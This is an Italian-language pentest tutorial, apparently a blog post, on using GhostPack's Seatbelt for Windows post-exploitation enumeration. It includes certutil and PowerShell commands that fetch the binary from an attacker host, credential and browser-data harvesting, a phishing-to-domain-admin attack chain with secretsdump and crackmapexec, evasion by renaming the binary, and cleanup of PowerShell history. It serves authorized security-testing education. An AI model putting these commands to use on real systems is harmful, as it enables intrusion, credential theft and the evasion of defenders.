windows

Seatbelt: Windows Enumeration per Post-Exploitation e Situational Awareness

Seatbelt: Windows Enumeration per Post-Exploitation e Situational Awareness

Seatbelt è uno strumento di enumerazione Windows che raccoglie informazioni su sistema, utenti, privilegi e configurazioni utili alla privilege escalation.

  • Pubblicato il 2026-02-25
  • Tempo di lettura: 5 min

Seatbelt è un progetto C# sviluppato da GhostPack per eseguire security checks orientati all’offense su sistemi Windows. A differenza di tool come WinPEAS che eseguono enumeration massiva e rumorosa, Seatbelt offre controlli modulari e mirati, output parsabile e detection footprint ridotto. In questa guida impari a eseguire enumeration chirurgica, identificare vettori di privilege escalation e integrare Seatbelt in attack chain professionali.

Posizione nella Kill Chain #

Seatbelt opera nella fase di post-exploitation enumeration, tra l’ottenimento del foothold iniziale e l’exploitation dei vettori di privilege escalation:

text
Initial Access → [SEATBELT] → PrivEsc Vector Identification → Exploitation → Lateral Movement

1️⃣ Setup e Installazione #

Download Pre-compilato #

bash
# Da GitHub releases (verifica ultima versione)
wget https://github.com/GhostPack/Seatbelt/releases/latest/download/Seatbelt.exe

Compilazione da Source #

bash
git clone https://github.com/GhostPack/Seatbelt.git
cd Seatbelt/Seatbelt

Apri Seatbelt.sln in Visual Studio e compila in Release mode. Il binario sarà in bin/Release/Seatbelt.exe.

Trasferimento su Target #

powershell
# PowerShell download
Invoke-WebRequest http://192.168.1.50/Seatbelt.exe -OutFile C:\Windows\Temp\sb.exe

# Certutil (LOLBIN)
certutil -urlcache -split -f http://192.168.1.50/Seatbelt.exe C:\Windows\Temp\sb.exe

# Via SMB
copy \\192.168.1.50\share\Seatbelt.exe C:\Windows\Temp\sb.exe

Verifica Funzionamento #

cmd
C:\Windows\Temp\sb.exe -group=user

Output atteso:

text
                        %&&@@@&&                                                                                  
                        &&&&&&&%%%,                       #702: Seatbelt v1.2.1                                   
                        &%&   (%&&%                       GhostPack: https://github.com/GhostPack/Seatbelt        
...
====== Running as: CORP\lowpriv ======

Requisiti #

  • .NET Framework 4.0+
  • Funziona come utente standard (alcuni moduli richiedono admin)
  • Windows 7+ / Server 2008 R2+

2️⃣ Uso Base #

Gruppi di Check Predefiniti #

Seatbelt organizza i check in gruppi logici:

cmd
# Tutti i check (rumoroso)
Seatbelt.exe -group=all

# Check user-context (non richiede admin)
Seatbelt.exe -group=user

# Check system-level (preferisce admin)
Seatbelt.exe -group=system

# Check misconfigurations
Seatbelt.exe -group=misc

# Check Chrome/browser
Seatbelt.exe -group=chromium

Moduli Singoli #

cmd
# Credenziali salvate
Seatbelt.exe CredEnum

# Servizi con path vulnerabili
Seatbelt.exe Services

# AutoRuns per persistence
Seatbelt.exe AutoRuns

# Task schedulati
Seatbelt.exe ScheduledTasks

# Autologon credentials
Seatbelt.exe AutoLogon

Output Formats #

cmd
# Output standard (colored)
Seatbelt.exe -group=user

# Output JSON (per parsing)
Seatbelt.exe -group=user -outputfile=C:\Temp\out.json

# Output su file
Seatbelt.exe -group=all > C:\Temp\seatbelt.txt

# Quiet mode (meno verbose)
Seatbelt.exe -q -group=user

3️⃣ Tecniche Operative #

Credential Enumeration #

cmd
Seatbelt.exe CredEnum WindowsVault CloudCredentials KeePass PuttySessions

Output tipico:

text
====== CredEnum ======

  CredType    : DOMAIN_PASSWORD
  TargetName  : Domain:target=DC01.corp.local
  UserName    : CORP\svc_backup
  LastWritten : 1/15/2024 10:30:00 AM
  Comment     : 
  Persist     : Enterprise

====== CloudCredentials ======

  Type      : AWS
  FilePath  : C:\Users\admin\.aws\credentials
  
  [default]
  aws_access_key_id = AKIAIOSFODNN7EXAMPLE
  aws_secret_access_key = wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY

Service Misconfiguration Discovery #

cmd
Seatbelt.exe Services ModifiableServices InterestingServices

Output:

text
====== Services ======

Non-Microsoft services:

  Name           : VulnService
  DisplayName    : Vulnerable Update Service
  Description    : 
  User           : LocalSystem
  State          : Running
  StartMode      : Auto
  PathName       : C:\Program Files\Vuln App\service.exe
  IsDotNet       : False
  
====== ModifiableServices ======

Services with modifiable binpath by current user:

  Name           : WeakSvc
  PathName       : C:\Services\weak.exe
  StartName      : LocalSystem
  State          : Stopped

Browser Data Extraction #

cmd
Seatbelt.exe -group=chromium

Output:

text
====== ChromiumBookmarks ======

C:\Users\admin\AppData\Local\Google\Chrome\User Data\Default\Bookmarks

  Name: Corporate Wiki
  URL:  https://wiki.internal.corp.local/admin

  Name: AWS Console
  URL:  https://console.aws.amazon.com

====== ChromiumHistory ======

Recent URLs:
  2024-01-15 09:30  https://mail.corp.local
  2024-01-15 09:45  https://admin.corp.local/panel
  2024-01-15 10:00  https://192.168.10.50:8443/manage

4️⃣ Tecniche Avanzate #

Remote Execution #

Seatbelt supporta esecuzione remota con credenziali:

cmd
Seatbelt.exe -group=user -computername=TARGET01 -username=CORP\admin -password=P@ssw0rd!

Filtro Output con Regex #

cmd
Seatbelt.exe -group=all -filter="password|credential|key"

Execute-Assembly (Cobalt Strike/Covenant) #

Per operazioni red team, esegui in memoria:

text
beacon> execute-assembly /path/to/Seatbelt.exe -group=user

Nessun file scritto su disco.

Combinazione Moduli Mirati #

Per assessment rapido senza rumore:

cmd
Seatbelt.exe CredEnum AutoLogon SavedRDPConnections PuttySessions CloudCredentials TokenPrivileges

Focus solo su credenziali e privilege, ignora il resto.

5️⃣ Scenari Pratici di Pentest #

Scenario 1: Rapid Credential Discovery #

Timeline: 5 minuti

Hai shell su workstation, obiettivo: trovare credenziali per lateral movement.

cmd
# COMANDO
Seatbelt.exe CredEnum WindowsVault CloudCredentials KeePass PuttySessions SavedRDPConnections

OUTPUT ATTESO #

text
====== CredEnum ======

  TargetName  : Domain:target=FILESERVER
  UserName    : CORP\admin.backup
  
====== PuttySessions ======

  Session  : Linux-Prod
  HostName : 10.10.10.50
  UserName : root
  
====== CloudCredentials ======

  AWS credentials found: C:\Users\dev\.aws\credentials

COSA FARE SE FALLISCE #

  • Access Denied su CredEnum: Normale per credenziali di altri utenti. Cerca altri moduli.
  • Nessuna credenziale trovata: L’utente non ha salvato credenziali. Passa a service enumeration.
  • Modulo non disponibile: Verifica versione Seatbelt e .NET Framework.

Scenario 2: Service PrivEsc Vector #

Timeline: 10 minuti

Cerchi service misconfiguration per privilege escalation.

cmd
# COMANDO
Seatbelt.exe Services ModifiableServices InterestingServices ModifiableServiceBinaries

OUTPUT ATTESO #

text
====== ModifiableServices ======

  Name       : BackupSvc
  PathName   : C:\Backup\svc.exe
  StartName  : LocalSystem
  CanRestart : True
  
  [!] Current user can modify the service binary path!

COSA FARE SE FALLISCE #

  • Nessun servizio modificabile: Sistema hardened. Prova altri vettori (AutoRuns, Tasks).
  • Can’t restart service: Attendi reboot o cerca altro vettore.

Scenario 3: Full System Audit #

Timeline: 15 minuti

Enumeration completa per report assessment.

cmd
# COMANDO
Seatbelt.exe -group=all -outputfile=C:\Temp\audit.json

OUTPUT ATTESO #

text
====== Completed 87 checks in 45.2 seconds ======
Results written to C:\Temp\audit.json

COSA FARE SE FALLISCE #

  • Timeout su alcuni moduli: Usa -group=user se non hai admin.
  • File non creato: Verifica permessi su C:\Temp.

6️⃣ Toolchain Integration #

Flusso Operativo #

text
Foothold (Metasploit) → Seatbelt (enum) → SharpUp (exploit) → Mimikatz (creds)

Passaggio Dati tra Tool #

cmd
# Seatbelt trova credenziali salvate
Seatbelt.exe CredEnum
# Output: CORP\svc_backup

# Usa credenziali con CrackMapExec
proxychains crackmapexec smb 10.10.10.0/24 -u svc_backup -p "FoundPassword" --sam

Tabella: Quando Usare Seatbelt vs Alternative #

ScenarioSeatbeltWinPEASPowerUp
Stealth necessario
Coverage massimaParzialeParziale
Output JSON
In-memory executionDifficile
ModularitàEccellenteLimitataBuona
AV detectionBassoAltoMedio

7️⃣ Attack Chain Completa #

Scenario: Domain Compromise da Workstation #

Timeline totale: 2 ore

Fase 1: Initial Access (20 min)

Phishing → Meterpreter shell su workstation.

Fase 2: Enumeration (15 min)

cmd
# Upload e esegui Seatbelt
upload /tools/Seatbelt.exe C:\\Windows\\Temp\\sb.exe
shell
C:\Windows\Temp\sb.exe -group=user

Output: trova PuTTY session con credenziali admin verso server interno.

Fase 3: Lateral Movement (15 min)

cmd
# Usa credenziali scoperte
proxychains ssh admin@10.10.10.50

Fase 4: PrivEsc su Server (20 min)

bash
# Sul server Linux
./linpeas.sh
# Trova SUID misconfiguration

Fase 5: Domain Escalation (30 min)

cmd
# Torna su Windows con nuove credenziali
# Usa BloodHound per path to DA
proxychains bloodhound-python -u admin -p 'P@ss' -d corp.local -c all

Fase 6: Domain Admin (20 min)

cmd
# Exploit path identificato
proxychains secretsdump.py corp.local/admin@DC01

8️⃣ Detection & Evasion #

Cosa Monitora il Blue Team #

Detection PointEvent ID / LogDescrizione
Process Creation4688Seatbelt.exe execution
.NET LoadingCLR eventsAssembly loading
Registry Access4663Massive registry reads
Credential Access5379Credential Manager read

Tecniche di Evasion #

1. Rename Binary

cmd
copy Seatbelt.exe MicrosoftEdgeUpdate.exe
MicrosoftEdgeUpdate.exe -group=user

2. Execute-Assembly (Fileless)

text
beacon> execute-assembly C:\tools\Seatbelt.exe -group=user

3. Moduli Selettivi

cmd
# Invece di -group=all, solo moduli specifici
Seatbelt.exe CredEnum Services
# Meno eventi generati

Cleanup Post-Exploitation #

cmd
del C:\Windows\Temp\sb.exe
del C:\Temp\seatbelt.txt
# Clear PowerShell history
Remove-Item (Get-PSReadlineOption).HistorySavePath

9️⃣ Performance & Scaling #

Benchmark Single Target #

GruppoTempoCheck Eseguiti
-group=user~15 sec35
-group=system~25 sec28
-group=all~60 sec87

Multi-Target via Script #

powershell
$targets = @("WS01", "WS02", "WS03")
foreach ($t in $targets) {
    Invoke-Command -ComputerName $t -ScriptBlock {
        C:\Windows\Temp\sb.exe -group=user
    } | Out-File "C:\Results\$t.txt"
}

Ottimizzazione Risorse #

  • CPU: Impatto minimo (~5%)
  • RAM: ~50MB durante esecuzione
  • Disco: Solo se output su file
  • Rete: Solo con -computername remoto

🔟 Tabelle Tecniche #

Command Reference Completa #

ModuloDescrizionePrivilegio
CredEnumWindows Credential ManagerUser
ServicesNon-Microsoft servicesUser
ModifiableServicesServices with weak ACLsUser
AutoRunsPersistence locationsUser
ScheduledTasksTask schedulatiUser
TokenPrivilegesCurrent token privilegesUser
UACUAC configurationUser
LAPSLAPS configurationAdmin
LSASettingsLSA protectionAdmin
PowerShellLoggingPS logging configAdmin

Confronto Enumeration Tools #

FeatureSeatbeltWinPEASPowerUpJAWS
LinguaggioC#C#/bat/ps1PowerShellPowerShell
StealthAltoBassoMedioMedio
ModularitàEccellenteLimitataBuonaLimitata
Output JSON
Remote Exec
AV EvasionBuonoScarsoMedioMedio

1️⃣1️⃣ Troubleshooting #

Errore: “Could not load file or assembly” #

.NET Framework mancante o versione errata.

cmd
# Verifica versione
reg query "HKLM\SOFTWARE\Microsoft\NET Framework Setup\NDP\v4\Full" /v Release

Fix: Seatbelt richiede .NET 4.0+. Compila per versione inferiore se necessario.

Errore: “Access Denied” su Moduli #

Alcuni moduli richiedono admin.

Fix: Usa -group=user o esegui singoli moduli accessibili:

cmd
Seatbelt.exe CredEnum Services AutoRuns

Output Vuoto #

Sistema hardened o configurazione default.

Fix: Verifica con moduli diagnostici:

cmd
Seatbelt.exe OSInfo

AV Detection #

Signature detection del binario.

Fix: Compila da source con modifiche minori o usa execute-assembly.

1️⃣2️⃣ FAQ #

Seatbelt vs WinPEAS: quale scegliere?

Seatbelt per operazioni stealth e output strutturato. WinPEAS per coverage massima quando detection non è un problema.

Funziona senza privilegi admin?

Sì, la maggior parte dei moduli funziona come user standard. Alcuni (LAPS, LSASettings) richiedono admin.

Come eseguo Seatbelt in memoria?

Via Cobalt Strike execute-assembly, Covenant, o reflection loading custom in PowerShell.

L’output JSON è compatibile con altri tool?

Sì, puoi parsarlo con jq, Python, o importarlo in SIEM per analisi.

Ogni quanto viene aggiornato?

GhostPack rilascia update periodici. Verifica GitHub per nuove versioni.

Posso aggiungere moduli custom?

Sì, il codice è open source. Puoi estendere i check modificando il source.

1️⃣3️⃣ Cheat Sheet #

OperazioneComando
All checksSeatbelt.exe -group=all
User checksSeatbelt.exe -group=user
System checksSeatbelt.exe -group=system
Browser dataSeatbelt.exe -group=chromium
CredentialsSeatbelt.exe CredEnum CloudCredentials
ServicesSeatbelt.exe Services ModifiableServices
JSON outputSeatbelt.exe -outputfile=out.json
RemoteSeatbelt.exe -computername=TARGET -username=USER -password=PASS
QuietSeatbelt.exe -q -group=user
FilterSeatbelt.exe -group=all -filter="password"

Uso consentito solo in ambienti autorizzati. Per penetration test professionali: hackita.it/servizi. Supporta HackIta: hackita.it/supporto.

Repository: GhostPack/Seatbelt

#windows-enumeration

DIVENTA PARTE DELL’ÉLITE DELL’HACKING ETICO.

Accedi a risorse avanzate, lab esclusivi e strategie usate dai veri professionisti della cybersecurity.

Non sono un robot

Iscrivendoti accetti di ricevere la newsletter di HACKITA. Ti puoi disiscrivere in qualsiasi momento.